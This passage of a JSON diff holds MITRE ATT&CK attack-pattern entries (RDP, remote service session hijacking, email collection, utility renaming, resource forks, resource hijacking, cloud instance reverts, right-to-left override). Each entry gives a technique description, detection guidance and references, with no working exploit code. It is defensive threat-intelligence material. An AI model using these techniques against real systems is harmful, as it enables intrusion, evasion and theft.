"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-25T19:23:34.204Z", + "x_mitre_system_requirements": [ + "RDP service enabled, account in the Remote Desktop Users group" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Remote Desktop Users", + "User" + ], + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.", + "created": "2020-02-11T18:23:26.059Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Email Collection", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-25T13:12:56.909Z", + "created": "2020-02-19T18:52:24.547Z", + "x_mitre_platforms": [ + "Office 365", + "Windows", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1114/002", + "external_id": "T1114.002", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Service Session Hijacking", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-23T23:35:58.129Z", + "created": "2020-02-25T18:26:16.994Z", + "x_mitre_permissions_required": [ + "SYSTEM", + "root" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1563", + "external_id": "T1563", + "source_name": "mitre-attack" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident", + "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.", + "source_name": "Breach Post-mortem SSH Hijack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Services", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021", + "external_id": "T1021", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "url": "https://www.ssh.com/ssh", + "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.", + "source_name": "SSH Secure Shell" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "url": "https://support.apple.com/en-us/HT209161", + "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.", + "source_name": "Remote Management MDM macOS" + }, + { + "url": "https://support.apple.com/en-us/HT201710", + "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.", + "source_name": "Kickstart Apple Remote Desktop commands" + }, + { + "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf", + "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.", + "source_name": "Apple Remote Desktop Admin Guide 3.3" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html", + "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.", + "source_name": "FireEye 2019 Apple Remote Desktop" + }, + { + "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html", + "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.", + "source_name": "Lockboxx ARD 2019" + }, + { + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Network Share: Network Share Access", + "Module: Module Load" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T14:15:07.272Z", + "x_mitre_system_requirements": [ + "Active remote service accepting connections and valid credentials" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", + "x_mitre_contributors": [ + "Dan Borges, @1njection" + ], + "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)", + "created": "2017-05-31T21:30:29.858Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote System Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "File: File Access" + ], + "x_mitre_version": "3.2", + "modified": "2021-10-15T15:30:00.172Z", + "created": "2017-05-31T21:30:28.187Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "RedHuntLabs, @redhuntlabs" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1018", + "external_id": "T1018", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/292.html", + "external_id": "CAPEC-292", + "source_name": "capec" + }, + { + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "source_name": "Elastic - Koadiac Detection with EQL" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-23T17:03:38.941Z", + "name": "Rename System Utilities", + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Metadata", + "Command: Command Execution", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "created": "2020-02-10T20:03:11.691Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/003", + "external_id": "T1036.003", + "source_name": "mitre-attack" + }, + { + "url": "https://lolbas-project.github.io/", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "source_name": "LOLBAS Main Site" + }, + { + "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "source_name": "Elastic Masquerade Ball" + }, + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke" + }, + { + "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick Masquerading Update" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Replication Through Removable Media", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1091", + "external_id": "T1091", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Access", + "File: File Creation", + "Drive: Drive Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-20T02:18:04.581Z", + "x_mitre_system_requirements": [ + "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution" + ], + "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", + "created": "2017-05-31T21:31:08.977Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Resource Forking", + "x_mitre_data_sources": [ + "File: File Creation", + "Process: Process Creation", + "File: File Metadata", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-16T01:50:40.276Z", + "created": "2021-10-12T20:02:31.866Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_defense_bypassed": [ + "Notarization; Gatekeeper" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", + "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)", + "x_mitre_contributors": [ + "Jaron Bradley @jbradley89", + "Ivan Sinyakov" + ], + "x_mitre_detection": "Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/009", + "external_id": "T1564.009", + "source_name": "mitre-attack" + }, + { + "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553", + "description": "Tenon. (n.d.). Retrieved October 12, 2021.", + "source_name": "macOS Hierarchical File System Overview" + }, + { + "url": "https://flylib.com/books/en/4.395.1.192/1/", + "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.", + "source_name": "Resource and Data Forks" + }, + { + "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/", + "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.", + "source_name": "ELC Extended Attributes" + }, + { + "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/", + "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.", + "source_name": "sentinellabs resource named fork 2020" + }, + { + "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html", + "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.", + "source_name": "tau bundlore erika noerenberg 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-14T12:06:32.187Z", + "name": "Resource Hijacking", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Sensor Health: Host Status" + ], + "x_mitre_version": "1.2", + "created": "2019-04-17T14:50:05.682Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Jay Chen, Palo Alto Networks", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1496", + "external_id": "T1496", + "source_name": "mitre-attack" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc" + }, + { + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "source_name": "Unit 42 Hildegard Malware" + }, + { + "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html", + "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.", + "source_name": "Trend Micro Exposed Docker APIs" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html", + "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.", + "source_name": "Trend Micro War of Crypto Miners" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:01.527Z", + "name": "Revert Cloud Instance", + "created": "2019-09-04T14:37:07.959Z", + "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1536", + "external_id": "T1536", + "source_name": "mitre-attack" + }, + { + "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", + "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.", + "source_name": "Tech Republic - Restore AWS Snapshots" + }, + { + "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", + "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.", + "source_name": "Google - Restore Cloud Snapshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Revert Cloud Instance", + "x_mitre_data_sources": [ + "Instance: Instance Modification", + "Instance: Instance Start", + "Instance: Instance Stop" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.128Z", + "created": "2020-06-16T18:42:20.734Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", + "x_mitre_contributors": [ + "Netskope" + ], + "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1578/004", + "external_id": "T1578.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", + "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.", + "source_name": "Tech Republic - Restore AWS Snapshots" + }, + { + "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", + "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.", + "source_name": "Google - Restore Cloud Snapshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Right-to-Left Override", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T21:01:59.733Z", + "created": "2020-02-10T19:55:29.385Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", + "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky 